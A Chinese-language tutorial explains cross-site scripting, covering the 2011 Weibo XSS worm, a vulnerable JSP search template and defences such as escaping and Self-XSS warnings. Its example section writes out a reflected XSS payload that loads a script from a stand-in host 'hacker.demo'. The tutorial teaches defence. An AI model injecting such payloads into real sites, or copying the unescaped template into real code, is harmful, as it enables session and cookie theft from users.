目录
一、简介
Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。
为了和 CSS 区分,这里把攻击的第一个字母改成了 X,于是叫做 XSS。
XSS 的本质是:恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。而由于直接在用户的终端执行,恶意代码能够直接获取用户的信息,或者利用这些信息冒充用户向网站发起攻击者定义的请求。
在部分情况下,由于输入的限制,注入的恶意脚本比较短。但可以通过引入外部的脚本,并由浏览器执行,来完成比较复杂的攻击策略。
比如发生在2011年左右的微博XSS蠕虫攻击事件,攻击者就是利用了微博发布功能中未对acton-data漏洞做有效的过滤,在发布微博信息的时候带上了包含攻击脚本的URL。用户访问微博时便加载了恶意脚本,该脚本会让用户以自己的账号自动转发同一条微博,通过这种方式疯狂扩散,导致微博大量用户被攻击。
二、案例
从技术原理上,后端Java开发员工、前端开发员工都有可能造成XSS漏洞,比如下面的模板文件就可能导致反射性XSS
<input type = 'text' value='<%=getParameter("keyword")%>'>
<button>搜索</button>
<div>
您搜索的关键词是: <%=getParameter("keyword")%>
</div>
上面代码从HTTP请求中取了keyword参数,并直接输入到HTML中用于展示。当黑客构造如下的URL时就出现了反射性XSS,用户浏览器就可以执行黑客的JavaScript脚本
http://xxx/search?keyword='><script>alert("XSS");</script><script src=http://hacker.demo/xss-script.js/>
当浏览器请求上述URL时,服务端会解析出请求参数keyword,得到 如下数据
'><script>alert("XSS");</script><script src=http://hacker.demo/xss-script.js/>
拼接到 HTML 中返回给浏览器。形成了如下的 HTML
<input type = 'text' value=''><script>alert("XSS");</script><script src=http://hacker.demo/xss-script.js/>
<button>搜索</button>
<div>
您搜索的关键词是: '><script>alert("XSS");</script><script src=http://hacker.demo/xss-script.js/>
</div>
浏览器无法分辨出 <script>alert("XSS");</script><script src=http://hacker.demo/xss-script.js/>是恶意代码,因而将其执行
三、防范
在防范XSS上,主要通过对用户输入数据做过滤或者转义。比如Java开发人员可以使用Jsoup框架对用户输入字符串做XSS过滤,或者使用框架提供的工具类对用户输入的字符串做HTML转义,例如Spring框架提供的HtmlUtils。
前端在浏览器展示数据时,也需要使用安全的API展示数据,比如使用innerText而不是innerHTML。所以需要前后端开发人员一同配合才能有效防范XSS漏洞。
除了开发人员造成的漏洞,近年来出现了一种Self-XSS的攻击方式。Self-XSS是利用部分非开发人员不懂技术,黑客通过红包。奖品或者优惠券等形式,诱导用户复制攻击者提供的恶意代码,并粘贴到浏览器的Console中运行,从而导致XSS。由于Self-XSS属于社会工程学攻击,技术上目前尚无有效防范机制,因此只能通过在Console中展示提醒文案来阻止用户执行未知代码。